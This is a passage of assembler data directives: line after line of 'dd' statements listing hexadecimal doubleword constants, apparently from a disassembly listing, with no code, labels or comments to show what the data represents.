		dd 4412D842h, 232A1F81h, 0B09173Ch, 0A1535044h,	9D412E13h
		dd 1B06685Ah, 48145036h, 4939135h, 82543EF5h, 77FC59D9h
		dd 0FE82DD52h, 6CCAF3E9h, 6679E07Ch, 208852EAh,	0E2C1763Ch
		dd 30D82C9Fh, 7AE83F31h, 48235FB3h, 2F02037Fh, 0AB1D9295h
		dd 0C1E9FCFBh, 2B7E91E9h, 22F65F40h, 0EA2D63ECh, 95ED7532h
		dd 0E92F04D2h, 55B562CEh, 50802065h, 7BE6656h, 9746E83Dh
		dd 4DCF4E40h, 0E9AE0BC4h, 89C1ADC5h, 0E7BE288h,	0CCCA58A8h
		dd 35E9588Ah, 5D6C9764h, 0F74891ABh, 0FA550302h, 1464D41Fh
		dd 1802815Fh, 4D693653h, 82208FE1h, 49C6BA1Ah, 7C605F41h
		dd 8E3B4775h, 0D4CA0333h, 0E01ED91Ch, 375992EAh, 31462836h
		dd 0CF7C0629h, 0A05F5DE2h, 78AA5B49h, 0D601276Dh, 0AB9CF358h
		dd 75FA9EA0h, 0D05DB283h, 63F80186h, 9BF60A3h, 0E99FF09Ch
		dd 26BE1435h, 227C00C9h, 27D50110h, 0DA4FC293h,	0D34CF26Eh
		dd 0D0831E59h, 0F5EA415Eh, 0D7402B8Fh, 0E62EF0EEh, 95897E07h
		dd 0BB018265h, 0C9E7B0F9h, 19585F7Ch, 0CCD8CD4Bh, 570B02C7h
		dd 10F0B9E9h, 82B02047h
		dd 83A82FDh, 0F9FA9B75h, 0ABBE222Dh, 0F68446C8h, 55B11674h
		dd 9C018E0Ch, 0BDEF20ACh, 0E942FE65h, 546A4937h, 4D7AC97Dh
		dd 302FC056h, 0A73DCED1h, 5CFD0474h, 46B256ECh,	0D030F76h
		dd 908C359Fh, 3A1D692Dh, 0E8703D5h, 0A0312837h,	0C0A06144h
		dd 50C7012Dh, 0A1EF4AF7h, 768F2F03h, 6F36E90Bh,	10FFA832h
		dd 80A7BB05h, 0F12F2B8h, 43FBE54Eh, 543D75F0h, 0D6743E16h
		dd 424CBDADh, 0C00E8020h, 7ED002EDh, 98DCF18Bh,	3A7A3559h
		dd 2D821E31h, 0C0EA1D01h, 21048C56h, 24FD5EF0h,	0EF4AAD12h
		dd 0B0E83265h, 32BC643Ch, 0DD65F512h, 0F1A23AE7h, 323968C3h
		dd 0C2BBEB12h, 0E0C03424h, 0F84E7D22h, 3EE2926Dh, 0F6978852h
		dd 2D8509D6h, 4B5093D4h, 0DB228A5Dh, 7FD4F710h,	82EBEE64h
		dd 5773109h, 0E9ECD0D8h, 12453284h, 9F1788ACh, 0FD24539Ch
		dd 47569F47h, 39C13C90h, 0B902602h, 0C6424B50h,	95C6BC77h
		dd 7EAA802Eh, 0B8764456h, 3BDA5BC5h, 4F7A1411h,	15B35F06h
		dd 46E30565h, 876B1B0Eh, 0A4010B70h, 3ED821D5h,	0D6AA9762h
		dd 0E0F92DAAh, 88BF7E69h, 0C3813813h, 2B4A49B4h, 0A103906Eh
		dd 704B1C6Dh, 97FA4BB4h, 0E2F9C385h, 41D39EEDh,	9FAB7EC4h
		dd 95B75B73h, 441E7324h, 0B253BFF5h, 290617F8h,	0C369102h
		dd 3272B709h, 618D6234h, 442B2BFCh, 0CCC82614h,	5D2D6804h
		dd 406E3275h, 970B9442h, 6CB36319h, 57CA4A18h, 0C50E915Ah
		dd 0EDE274FEh, 0F397897h, 496278D7h, 0AAD497C4h, 778F4627h
		dd 6B9189C4h, 0BA04729Dh, 0BA272FCAh, 0CA01FA46h, 0E90CCF0Fh
		dd 382CF960h, 7EB4BA80h, 5B9056D5h, 5511E9Eh, 678B4C78h
		dd 8FD50DA9h, 0F3E50597h, 2D576CD1h, 0FF92263Ch, 0D4E90D33h
		dd 2468C0F0h, 0C64D6A26h, 5C4EBD3Fh, 0EAF86667h, 595DE257h
		dd 57696BFCh, 16A77895h, 0E9583C72h, 9A802CAh, 0FCE05FF8h
		dd 4E3E5BF4h, 50C78374h, 2BD69D2h, 2FFB351Fh, 0A9577DBBh
		dd 1477846Eh, 62D4EC16h, 0F271E6D7h, 0AE3C0B20h, 34DCBE3Eh
		dd 2906540Eh, 2063FC29h, 0C03A9408h, 0B3786AEDh, 0B155BF30h
		dd 2FB96FDCh, 2E4C5B35h, 8480F75Ah, 3AFBEB80h, 0EBF2C328h
		dd 0FD371096h, 0B234D975h, 0F0D3E220h, 6884B55Ah, 6841C08Dh
		dd 0FABB691Ah, 3627214h, 4D6FECF1h, 22C0B743h, 4CB8D4E7h
		dd 417E6631h, 2D6360D6h, 0B8296840h, 0FDABD304h, 52E9D657h
		dd 0FEA5F31Dh, 0C0A4AC25h, 0CE47F198h, 383F5FE0h, 0F2199C2Eh
		dd 7D96A728h, 0DB4A9027h, 0BE2EC043h, 18DC158Eh, 3FFBD99Fh
		dd 68BD8CB0h, 0F22C0593h, 0F1102375h, 76BCF05Ah, 5080534Bh
		dd 9DD409B9h, 31B5CCE0h, 6AC1A5Dh, 1B937579h, 191C0F24h
		dd 0D0E16698h, 6FF12AE9h, 3BF2CF74h, 3AFBA499h,	8762FEC9h
		dd 5F120F48h, 7436E4ABh, 0DAF00B1Eh, 0E636BDC9h, 5245257Ah
		dd 0B793DED9h, 0AA12A5ECh, 87A0D4CAh, 93F6AB08h, 0AF84FCD2h
		dd 844A5258h, 2A7E92CEh, 0CBDE4B91h, 6750FC8Ah,	8AF5C5BFh
		dd 0CB7F902Dh, 0B96E7705h, 89362515h, 6FEC5188h, 8CAAA6EBh
		dd 5530E966h, 280743C7h, 0D7011206h, 817EF85h, 0ACB411B8h
		dd 7018C4A3h, 1E5224B4h, 0DC6A4A20h, 95F167DAh,	64831316h
		dd 2163E951h, 8B69A32Ah, 0A1B525Ch, 77545BB1h, 511903D6h
		dd 0F02023E1h, 5231580Ch, 0A1B610h, 0FE4064BAh,	1670BF41h
		dd 0B009FC03h, 0F70781CEh, 6CF254C6h, 3DDD75Ch,	0C153A625h
		dd 227A04E7h, 44343F18h, 70F6B1Eh, 0FA3101E4h, 0E9D2E05Fh
		dd 2C99E24Bh, 3E0E3203h, 0FDC9D936h, 11EF1783h,	1893B67h
		dd 0C95E3C7h, 0A3605808h, 4D142612h, 0D7C84206h, 0D64FA037h
		dd 47BF3E03h, 0F01352BFh, 0CB1CECA1h, 413B6A1Eh, 212A297Bh
		dd 805ECED4h, 0BE56E51Bh, 13A3FCAh, 0C7E6810Bh,	2E709951h
		dd 71689402h, 5C6C7D6Bh, 2FDA0D12h, 5416E804h, 1A82BD0Bh
		dd 44D73423h, 22619FA4h, 4CB69C52h, 36682DA0h, 5B9D4F58h
		dd 90196BFh, 0F4FC316Eh, 945EE950h, 7D712578h, 0C7068E3h
		dd 1A3CE957h, 78046593h, 0D5F77CFEh, 67FF90BFh,	3F587553h
		dd 35704D4h, 0E9C42F51h, 3273F681h, 3648E76Ch, 4347DF05h
		dd 57E1445Bh, 948AFAB5h, 0F8207358h, 31582D1Ch,	0C501C047h
		dd 37F052C4h, 48FB455h,	8606366Fh, 164C4C21h, 0F3EC9682h
		dd 0BC58257Ah, 7E21B911h, 44F16B09h, 344B9E94h,	1317E39Eh
		dd 0AFA3F921h, 0AE9C101h, 0A5545553h, 0A03DDC6Ah, 3D0E09DDh
		dd 8FF42C2h, 3F3007E0h,	9553F968h, 2F971BF3h, 7D0196C2h
		dd 0CB321C6Eh, 7F2D1A56h, 2FA10AAEh, 4802F47Bh,	7BF10550h
		dd 524A84CAh, 68BF4FA2h, 4660EF96h, 50ED6A13h, 3E9B8122h
		dd 7576F012h, 242312C9h, 5591D4Eh, 0F84A4029h, 0B017135Bh
		dd 5B3D63F3h, 901A927h,	2E091168h, 0A60515CDh, 818EC008h
		dd 51C087F5h, 0C2913AE3h, 0C858E24Ch, 0BCCBBDF8h, 0B36979F2h
		dd 7EC17B5Ah, 0D001391Ah, 0A7077AEEh, 0C6339DF6h, 3BB2F9F2h
		dd 6B295D01h, 0D5FC6694h, 36445F27h, 0BEF25E5Fh, 4F01E982h
		dd 51BE6600h, 0B242F273h, 0ED054FDCh, 7CFE589Bh, 5AC5594Ah
		dd 0A09914B2h, 405A026Bh, 0C0DDDBC5h, 2239F7F7h, 0CFBE02C6h
		dd 57C24827h, 0B2F3015h, 863440Ch, 0C606707Ch, 0B0E802FEh
		dd 0B2B90418h, 0D5299966h, 383EB2Dh, 0BB680257h, 3A184F8Dh
		dd 782DE8E0h, 0E9461605h, 7BD12505h, 0F4CCC4CCh, 67EFEC81h
		dd 0C3C106E5h, 0E783FAC7h, 68151075h, 1685175Bh, 0C8FC6574h
		dd 7B8444D4h, 57580531h, 119063B9h, 90C25317h, 71B3060h
		dd 0CA89231Fh, 6B02CB7Bh, 41E7D147h, 0A0058EDAh, 0C840B442h
		dd 6EB0FC1h, 6C0EE381h,	0A10C0C0Ch, 4CD96418h, 0C963FCE2h
		dd 1AFE3DA7h, 58320B6Fh, 58F097FEh, 0EC9EA33h, 7C11EA5Ch
		dd 4CBF01DDh, 54AC58CDh, 0BAB409C2h, 1037BC05h,	840B6AEh
		dd 0F6E3BF58h, 0E962AE9Fh, 185D6899h, 905457A3h, 0DBBA2C50h
		dd 0F1CFC403h, 46D576FCh, 0D5924E92h, 9D75B58h,	0E0F14330h
		dd 9DB1E825h, 315B8097h, 7C3AE1EFh, 1C523483h, 0FCB98640h
		dd 37464060h, 64AEE1C1h, 40FFE74Bh, 2A3194CAh, 19FBA878h
		dd 0EC4F8792h, 0DE4C46h, 694132F5h, 13A4CB81h, 0BB2DDA6Dh
		dd 175E8E41h, 0E46A316Fh, 630FEB92h, 56D7E1FDh,	1FEFF2F0h
		dd 26FB2145h, 3EF502DCh, 6866A091h, 23549790h, 659F5BA3h
		dd 7DB3D32h, 6F276D29h,	5E2FF54Fh, 0DBCD8161h, 450B8824h
		dd 6F888803h, 6944E507h, 223C08FBh, 0E9354501h,	8E2A23C2h
		dd 0E6CB5F4Ch, 6C6B4D7Ah, 4BF7A397h, 0E98410E9h, 8937E06Ah
		dd 0F45FD577h, 4F87FC90h, 0A9609528h, 65026851h, 5952DE19h
		dd 47386041h, 0F887C4Eh, 0D9F7E9D1h, 2479243Dh,	60E305A1h
		dd 6A1AE1A3h, 68C2A5E2h, 0F1DE7C53h, 9A204961h,	2C38D20h
		dd 17F41982h, 0CC7D68E9h, 4888C9D7h, 56FBA56h, 3990D30h
		dd 0ED938B2Ch, 0E9167190h, 0CEE8FA1Dh, 0B86A6784h, 0E5D4B7A3h
		dd 0E73FD7F1h, 43088459h, 0E8D30113h, 0EFC28882h, 0BF7209FAh
		dd 0A9286009h, 611AA5D1h, 7DF5B222h, 6AB58296h,	10BDFE65h
		dd 0DBF61F60h, 4C90CF3Eh, 0B8D3BEDh, 0EE01B69Eh, 0E9C2E754h
		dd 29ADC835h, 5E5F27F8h, 0E2B7F8ECh, 6115D613h,	2B30C468h
		dd 4B7D07D1h, 16468E3Eh, 0CD60CA01h, 918FF8E9h,	0AEB00CDCh
		dd 2F79F79Fh, 0BF61D724h, 18C12302h, 89A84971h,	5ECC8D30h
		dd 6848DC6Ah, 0E913842Dh, 0A89263Ah, 0A1505A59h, 60EE3B9Eh
		dd 0BD5501E8h, 996F2DD0h
		dd 510C37D0h, 0C14618E9h, 0D0D7B62Ch, 9E944BE9h, 43047927h
		dd 9F072BB6h, 0A23515EAh, 69A55805h, 0F844287Ah, 0E9058C9Bh
		dd 0C6FD9A19h, 68825ED0h, 387771B8h, 19F7BAABh,	7812DC61h
		dd 7DAC609Fh, 1E43FA9Dh, 0AD921463h, 0DA98E076h, 32777C16h
		dd 0E7CEF50Ah, 0B856807h, 52CFDBF8h, 1E79DE42h,	0E4DD4BE0h
		dd 0FD33C282h, 300D1882h, 364D80E0h, 9F14799Fh,	0B0644B9h
		dd 0E80A843Eh, 45165A44h, 66A094EDh, 0DC5EE958h, 2F8695D0h
		dd 5554C50h, 905F106h, 0D0090C53h, 401EDD40h, 240DFC50h
		dd 178F29E4h, 8776442Dh, 376A0FBh, 826857F5h, 1E444383h
		dd 3F2CCF0Ch, 170D0C44h, 5132D0Ch, 0C47ABFF3h, 0C244942Bh
		dd 0CC5D0420h, 0CC4D259Bh, 1EB54566h, 394C201Fh, 0E85FB998h
		dd 6680B4D4h, 9F1C4721h, 314DF0E4h, 3C5B2DCBh, 56539D48h
		dd 4F68C202h, 4BD1F41Fh, 712568FCh, 0C002EB71h,	18577826h
		dd 8238E86Ch, 0D1DB835Dh, 8062DA1Fh, 0AA074FD3h, 1804B87Ah
		dd 955944E9h, 1801D3F5h, 0BE56128Bh, 5DD5B19h, 2CF6CEF0h
		dd 13B7871Fh, 5FFF4A64h, 385549EFh, 2C7A37D9h, 1C515ADAh
		dd 0FBD96D45h, 0FDAAE905h, 4615B8F3h, 5C285A83h, 0DE209F04h
		dd 7F306ADFh, 92A1F582h, 389FC1E9h, 67C684E0h, 0B40077FFh
		dd 8886B0ABh, 85CBE85Bh, 0E272532Fh, 5076EB7Dh,	0E927D87Ah
		dd 29A682BFh, 36C77FCBh, 0F839E989h, 0A7E29C90h, 84256E9Ch
		dd 8B0D7190h, 0A148EE0Eh, 13044FBh, 6DA90C17h, 49240558h
		dd 0EFEFAFE9h, 75C99734h, 0E7B0026Fh, 2048A831h, 2C2F6323h
		dd 8356F278h, 141C4108h, 3575C800h, 0A567610Dh,	3E0AB5E9h
		dd 0F9309F21h, 0E2F0CFC9h, 0F3A95C6h, 67414040h, 225313Eh
		dd 1C0B0DC2h, 35E0DF7Eh, 1B0F701Dh, 25E2D19Ah, 0A8F8BAE9h
		dd 0EB055901h, 3E247A03h, 4F07F210h, 95B508B8h,	6C09E458h
		dd 14BF5F40h, 8AC73A9Ch, 409BD92Ch, 81F50F2h, 5084EF5Fh
		dd 0E8BA9CBEh, 27583840h, 9B54BD68h, 0CEC48F69h, 0C00D30Fh
		dd 0EBF0CAC7h, 0C56295BBh, 8717C9D4h, 8A765FA6h, 0B076CEC2h
		dd 473ABE81h, 44217A8Ah, 1E2EC435h, 4BB416B3h, 0FDD65E32h
		dd 3BD8B43Ch, 4A1799F8h, 165DCABBh, 81E2628Ah, 0F527F85Bh
		dd 30F9C9AFh, 0DDD26EABh, 2F68A300h, 0B73FF927h, 0F58108C5h
		dd 0C34083E2h, 400FF16Ah, 0AC32A2D7h, 0B2E94309h, 0E19E7551h
		dd 651FC630h, 1754A6B8h, 0B03122FBh, 4E1FEAC7h,	1890928h
		dd 18995EDAh, 71EDDDA5h, 7F7B2373h, 37E70955h, 708ED010h
		dd 0DF154851h, 5006792h, 12FF3D4Ch, 8F00165h, 6802415Eh
		dd 0F6A2AFEAh, 522C114Ch, 0BB1D2AFEh, 9D546FBDh, 0EE1B16E9h
		dd 0CBFF6F74h, 65E501E2h, 11E91EDEh, 490B76DAh,	525C0E2Bh
		dd 0D8057DC9h, 2A1ADCFh, 384C5EC9h, 0A348C02Dh,	0D0422802h
		dd 0C0409A2h, 0AD070747h, 2B847218h, 1C40A7E3h,	482EE908h
		dd 4A89DC66h, 5E974930h, 0E7D34E63h, 633712F9h,	9F105BECh
		dd 970C00AAh, 0D4342B2Ch, 71C07DFEh, 0B0A59521h, 65EC8240h
		dd 0C90B5800h, 7A843A0Fh, 0E7668C0h, 0DEBE249Dh, 0C5A9B905h
		dd 0A2248113h, 4FE0578h, 0F89EB33Dh, 0AF1B82CBh, 3964316h
		dd 5A2AC9F2h, 97FF4F17h, 7C11D034h, 95B8F187h, 6CE9AD4Eh
		dd 0BD7C56C9h, 891FA269h, 564B840Dh, 0C4A24A22h, 435D5AD6h
		dd 507EDA66h, 0EFCE9DAFh, 78B42D5Ah, 0D17C35E9h, 4D99E824h
		dd 0C76885D1h, 0BD4F35AAh, 0D8D19752h, 322B192Dh, 0D5D04799h
		dd 0EC5D5155h, 18B550F7h, 97A30F3Ch, 64C135A2h,	58B0985Fh
		dd 0BA0EA111h, 0EB7C54DAh, 997281F4h, 6D31FD0Ah, 69ADFB45h
		dd 0CBD33C84h, 0F0B22CF5h, 1796CC08h, 0C40DE358h, 0CCFF4481h
		dd 78B12936h, 3CA3B908h, 3AD8F8A8h, 31933964h, 3D49AC5Eh
		dd 2072125Fh, 79FAAD60h, 571D246Fh, 202B274Dh, 0E9C14ED9h
		dd 4E6F336Fh, 0DB65FF95h, 0E78D8052h, 7003C42h,	0EFC14715h
		dd 35DF8702h, 708DBF7h,	87CB5824h, 6E7F26Fh, 5909E460h
		dd 0E9280E06h, 17B88C94h, 0E63F380h, 0CC47D90Ch, 0A8A6E259h
		dd 683F1857h, 2AE8B796h, 1DBE40C1h, 0AA29AD9Fh,	7226841h
		dd 5163D87Fh, 6928B904h, 8C871C74h, 0CCD70DBDh,	0BD4995B0h
		dd 4DE0B70h, 51A12AD3h,	0B3849A79h, 477B906h, 23641953h
		dd 605BC5C2h, 2551691Eh, 0CFDA49B2h, 1C060883h,	47456A6Ch
		dd 8BE92DD1h, 0B1B80580h, 58000778h, 1D3E0925h,	90E8C156h
		dd 88A3200Ah, 0A6E907B0h, 0F7819903h, 6B6968DFh, 186B66Ah
		dd 0E9DBDEC2h, 0F8047B12h, 2F8097DFh, 4AC306B5h, 7A11EC37h
		dd 3F0A0455h, 6FD1FFE4h, 81600AEBh, 0DBD804F3h,	0E22DFC04h
		dd 95C70818h, 7090595h,	0F416755Bh, 0CD3A5102h,	60D9F73Bh
		dd 35696034h, 0C2D41809h, 0A97F05E1h, 85974D1h,	541DD322h
		dd 0B003F289h, 882C8238h, 34AB7B16h, 751E2C17h,	0ED7235BFh
		dd 435A10AEh, 0BAF1855Ah, 9C042137h, 9D4A0E15h,	4F144017h
		dd 6E4CD864h, 41027697h, 38E96785h, 0F755A35h, 22915D9Fh
		dd 4FE1536Bh, 58937C52h, 9FCA2E67h, 2F2DD208h, 0D7FE5F58h
		dd 401BE4A0h, 0F809A527h, 147B9735h, 0D1557600h, 0B7DBE972h
		dd 4AE83AABh, 560C7CCFh, 0B2D14B71h, 0EEF40BEFh, 2277BEF7h
		dd 0A6DF70h, 3159585Dh,	0BBF6D24Ah, 0E3FF493Ch,	0B62AE2E1h
		dd 4E8CDAC5h, 68530A03h, 0C1F15FE8h, 20C57608h,	1F0CE96Eh
		dd 0C5AB510h, 2162143Fh, 94059347h, 0EF75F204h,	0EA39F1C1h
		dd 68C23A2Ch, 9E753F41h, 68B4C09Ah, 359351D7h, 87A05F50h
		dd 57D6D0E7h, 8D265DB8h, 0C88F7B91h, 0C357DA59h, 104C443h
		dd 44CAEECBh, 21879C5Ah, 78F7275Ah, 8402E04Ch, 453C7A76h
		dd 2046E6E0h, 0C792D30h, 0F95756C7h, 0B8D20E68h, 6653C18Ah
		dd 266C9DBBh, 1FE3CB09h, 0E82F6A05h, 0AFEFC572h, 4BDED8FCh
		dd 761B117Bh, 0C0919C1Ah, 4F23C024h, 705083CFh,	544FA2ECh
		dd 0B6A198Ch, 314D7F20h, 0BF3B88h, 45822DE0h, 0E6B73668h
		dd 29E92D69h, 6450F887h, 0C11B9026h, 4A0102E2h,	1A0FCA81h
		dd 5C30392Eh, 7F9A14BBh, 0B54EEEFBh, 6513D508h,	2E6BFCBAh
		dd 1FA8AF4Eh, 0CC43164Ah, 0C25B3145h, 95538C28h, 55693BD9h
		dd 1CD38F36h, 49B6C3F8h, 0F3125D4Ah, 11C21358h,	0AA5E651Ch
		dd 7B0599C4h, 0B812512h, 0CF10E568h, 285E476Ch,	16D313B0h
		dd 135F3B58h, 47EE122Fh, 84F2B10Bh, 1E52EB2Ch, 0EDD3CBA9h
		dd 0B7FDD7B4h, 3A5F5260h, 1590922h, 0E908408Ah,	6605305Fh
		dd 5DC62AB3h, 7760E134h, 0EEF0AE4Dh, 46CD064Eh,	34CB25E9h
		dd 0D831AD17h, 4B6AFE0Bh, 75FAFBh, 234F12BDh, 3FBD044Bh
		dd 1F84E580h, 18C2215Fh, 409A32A8h, 974944EFh, 3F12D1E6h
		dd 0EF00557Bh, 0AD686AF3h, 6CABC1Fh, 65880AE9h,	8740D90Ch
		dd 1D9D5801h, 802E6306h, 3D3436C5h, 0DD50F738h,	0BA801FCCh
		dd 0E046003Eh, 41F28154h, 6F4FAB01h, 0D5A12E82h, 0BC1085ABh
		dd 93D6187Ah, 9053598h,	0C284A1D7h, 94A0AED8h, 0E1C019DAh
		dd 102FC9EDh, 0BF3E9E66h, 2820D990h, 1E24E9B3h,	0FCAD78F5h
		dd 8ACE01D3h, 0D858806Fh, 20F64C6h, 0A04EACA9h,	0E10D29E6h
		dd 5DD7B00Bh, 0C15E556Ch, 0BA255BD9h, 0D2532754h, 796412E0h
		dd 117F646Dh, 0D15A0CF6h, 2FD78453h, 337B5CE7h,	0C7637F3Bh
		dd 50515AE8h, 40FC882Fh, 6EAEE995h, 6AA620A2h, 0BF040A5Fh
		dd 77B46021h, 29D83DF1h, 25FBE40Bh, 8A298CE9h, 0CABF0E83h
		dd 60303DC1h, 75822758h
		dd 0D11D3DC8h, 78015F80h, 13A54BFDh, 212CEA39h,	0B8645BF8h
		dd 95D3B7D8h, 0FC1A5EA4h, 49C84F67h, 1E4A1C2Dh,	0E65DD336h
		dd 0CF6B7745h, 0D0E20979h, 14C79FDDh, 0EBF971ADh, 892722D9h
		dd 0A77618h, 0BD199920h, 0EE017DBBh, 58C5314Eh,	0F730E5D1h
		dd 0A434B6CBh, 0B9968886h, 0E0495716h, 6408805Fh, 0C13E0216h
		dd 0CE587874h, 8E4607Dh, 1F4BAC8h, 17155CB9h, 588E303Ch
		dd 12AF0DD2h, 9B4D968h,	0FCCC3E6Ch, 83E14568h, 0FBBE56C3h
		dd 0B9423872h, 0A926F89h, 5FE9E982h, 2C9DCAAh, 0B944188Fh
		dd 5C350AFDh, 0A387461Dh, 916B292Bh, 0DB781174h, 0E3D15A0Fh
		dd 28251A05h, 2BFD4EB3h, 0FAB83BC1h, 0CB68902Eh, 0F508869h
		dd 760248A8h, 61E973FEh, 53CC7D51h, 505E02AEh, 0D989E782h
		dd 2C8448E1h, 1D54007Fh, 0E4E957A3h, 682EEC60h,	49095EA6h
		dd 0C62DE60Ah, 0C55D1AC2h, 87DE8868h, 350B25h, 0F781038Dh
		dd 6C7812ECh, 741CEF65h, 604AEED8h, 50CA8374h, 8D6ACF7Fh
		dd 0D8FF612Eh, 5E92B8A3h, 44582302h, 50D8F71Dh,	0C62507CAh
		dd 0F0141637h, 0CA46B3E6h, 0B7C28928h, 0F9E5DA5Fh, 572ABA68h
		dd 8BBA02C0h, 550CD668h, 16C9B660h, 9C67C32Eh, 0FDA2AF13h
		dd 577B351Fh, 0C2A40A6Ch, 2FE90407h, 1F2CEE55h,	25B84250h
		dd 5EE5D029h, 0F72A40F9h, 322217AEh, 1AE2439Ah,	98E98412h
		dd 8AFF0DC4h, 0B16732B2h, 7D925F5Ah, 7647DBC1h,	0E0D9105Ch
		dd 7334B95Ah, 89F5E19Dh, 1200ED04h, 0C3A24290h,	2540340Ch
		dd 50096688h, 0D54F2E32h, 0ED0D780h, 0E983B8Dh,	0FFFBC401h
		dd 0E3BAE9ECh, 0CAFE8801h, 0E0F1AE77h, 805966CFh, 0B4B65AE7h
		dd 0E91BB5C3h, 0C395B9BCh, 45AC106h, 0E64B3C23h, 48710BC3h
		dd 0CF918017h, 9071A5Fh, 0C2C5E911h, 508B95F1h,	2026E454h
		dd 0F09F39AAh, 0EB800749h, 57E3282Ch, 2F225CC3h, 5F8B894Ah
		dd 8E047D6Bh, 5BA01378h, 9ED80BC5h, 0AFD6049h, 4E10CE55h
		dd 0CD5B5A1Dh, 382EE138h, 0D0F441A6h, 4F00B023h, 8B25E0D1h
		dd 1C116D78h, 0CED0F740h, 60CF8D05h, 0E9C60121h, 9CB23E46h
		dd 0A401DC27h, 0F07549BFh, 0F4982977h, 5692044Fh, 0DBE977C7h
		dd 30F7DA01h, 0BCAB1352h, 0CD7EA5B8h, 2823F583h, 4AF7FA4Fh
		dd 188E81B1h, 0D535C831h, 0D64CE23Eh, 5F2F8E61h, 7801D460h
		dd 842E5EFh, 4BBAD75Dh,	257B715Ch, 0DF965707h, 191D4209h
		dd 8331D40Bh, 4026ABF1h, 9FD4C1CCh, 4CB07F53h, 215958CFh
		dd 880665Eh, 0E917059Ah, 99F87DE7h, 27CB0984h, 2ED3E2B4h
		dd 10F4B955h, 0E9CE8197h, 90B49722h, 0B3035A63h, 4DC6073Eh
		dd 26D24C56h, 5A125D39h, 91047D29h, 2E614A5h, 6B7077C9h
		dd 0E9E9C253h, 3C315AA0h, 164F2438h, 6C690C07h,	65025408h
		dd 99E93F6Fh, 4D1DE8C7h, 51B8805Bh, 3A074812h, 25A652A0h
		dd 7B61855Ah, 30B1E02Dh, 418B315Bh, 350C8349h, 0E9783C59h
		dd 0AF13E14Eh, 0FF6974F6h, 0EE6330DCh, 0C9CF38D2h, 6E122B89h
		dd 0AFC76D00h, 61996FDBh, 0CF85EA13h, 0F41831BCh, 515B0C5Ah
		dd 3079B507h, 0FE3759EEh, 272E86E3h, 0B441215Ch, 2E60FDE6h
		dd 0CC7AA6D0h, 51F00E4h, 7B91359Dh, 2D50F029h, 0CA985E07h
		dd 0DEB228FFh, 314475C1h, 45FCEED1h, 61799C1Dh,	31E511D4h
		dd 0E21830E3h, 7A57BE88h, 83015E27h, 0A4E88138h, 7A4C4F4Dh
		dd 4C4702E4h, 604A3474h, 581899B9h, 0A41080C1h,	0E3662DEAh
		dd 1C31A342h, 0AD2B6809h, 5F514CAh, 32AC5ABDh, 702DEB92h
		dd 7510BB1Ah, 0F3445EA9h, 68035B5Eh, 25100907h,	0F25BB8D9h
		dd 6856C1ADh, 84580CE4h, 0BF0B16E8h, 2F948122h,	7701027Dh
		dd 2B74D7C2h, 77D06242h, 5DE0B41Bh, 5B0A3545h, 83842C7h
		dd 80EF0328h, 31D00171h, 0B95B5818h, 4D2A6C21h,	2CBB2116h
		dd 76BD408h, 3283B753h,	0CE61DFB3h, 0B8386EC0h,	0DC908454h
		dd 5CB64D5Fh, 49DCC73Dh, 8B30661h, 0FEAA58E3h, 605CC361h
		dd 3078ADE9h, 5CD83331h, 0DA3CE961h, 0D571AB57h, 15CCFF2Bh
		dd 0E70AE916h, 58C56B42h, 1FE2F528h, 7972615Dh,	0E601F469h
		dd 872F4D39h, 9D2471EAh, 1968108h, 97262971h, 0E068897Bh
		dd 0DB97595Fh, 0CD94A72Ch, 0AF58B2BCh, 6D4A2451h, 0DAE1850h
		dd 8B27EF31h, 48CF3B2Ch, 0BF2F2932h, 0C689C69Ah, 2704DFE0h
		dd 5EC8FE2Dh, 1DC7165Dh, 9BF814D3h, 4AF7835Ah, 3A33D3B1h
		dd 0D86E612Dh, 8997C209h, 9F94D7F3h, 570AF6E3h,	0EDFCD925h
		dd 0D2CA7D34h, 0CB9BE40h, 5A2961D9h, 41FCF35Ch,	71C1300Ch
		dd 0D063B56Bh, 504B2736h, 0BF011CF1h, 7EE4222Fh, 4A91F840h
		dd 686B5C78h, 0F84D1106h, 0B705187Ah, 3155649Eh, 0A03A08F1h
		dd 0F85E29A4h, 2CA1CFD7h, 0E2FF344Ch, 0EF53806Ch, 5BFD7DBCh
		dd 0A604E161h, 0F9095D12h, 12EF60DDh, 2C35801Bh, 31033D7Dh
		dd 7E7A780Dh, 962D05Ch,	893F1F9Fh, 0C2D697C7h, 0E07243D6h
		dd 8178C620h, 0B16A0197h, 0BB10810Ch, 7F9C3D7Bh, 0EAB64A3Eh
		dd 0DB502551h, 5B394196h, 5BB507B4h, 6087B175h,	0D0E0D9B9h
		dd 0AF962C74h, 0BFE989BEh, 0E05C3009h, 0DA2180EEh, 53A5B48h
		dd 604A48EDh, 86D8CC0h,	905092Fh, 0A1D75DEAh, 0A73DE955h
		dd 13D532Fh, 231CE1F2h,	0C3992131h, 0CA290316h,	0EE9D542h
		dd 0C308EA30h, 0C22BE059h, 0B1DA9760h, 4B895D59h, 40C0722Ch
		dd 6C316865h, 0E3CF1542h, 229F312Fh, 0F9E62F18h, 0AB01E412h
		dd 0E7FC4B35h, 53F1929Fh, 1E2DEA77h, 0CA1D4520h, 1C972006h
		dd 681E6034h, 0F8A7156Dh, 0DD40204Dh, 0C2895213h, 4F4927BCh
		dd 8002458Dh, 8E6CD3EAh, 0DEB8152h, 7F05721h, 143AF00Ch
		dd 37141A4Ch, 0AF624DC6h, 2BFDA0F9h, 0C17D8821h, 5B4E652Ch
		dd 6FCBD80Fh, 0B541412h, 2D0E01FEh, 82BAAD72h, 5078660Ch
		dd 7AE8000Ah, 3109E524h, 0A26DE9DDh, 0F556584Dh, 4CBD545h
		dd 8F149CA8h, 0D92DA748h, 96DFDC4Ah, 0C7F30063h, 0E9536F36h
		dd 149799EBh, 8AB54AEEh, 52C7BDBh, 0A24FDB67h, 0E038867Dh
		dd 606151Ch, 0C4E976CEh, 0EB7B391Fh, 253E2818h,	1209FD0Ch
		dd 1029174Dh, 333CB55Bh, 205F6838h, 7E6C34FFh, 11517D26h
		dd 80D5502h, 5FD00137h,	0CFC17EDFh, 152CE799h, 36EB68B0h
		dd 0FC525B96h, 0F54026Eh, 65F36A03h, 465CC91Eh,	0ADB11353h
		dd 80C2F160h, 8CB7EDD1h, 2E680AD7h, 0C075499Ah,	7B9E04DDh
		dd 0D0F5312Dh, 80A441ADh, 7F1895C8h, 9BF22976h,	393189FCh
		dd 29E87254h, 0B374AA00h, 672BE96Ch, 73DF273Ch,	0F14FCD3Fh
		dd 9BC10093h, 0AF360481h, 0BA437C1Eh, 7098CC4h,	7D67459h
		dd 0E99FE950h, 0FE4B2CC4h, 4AE8B4A4h, 923B3755h, 1A44871Bh
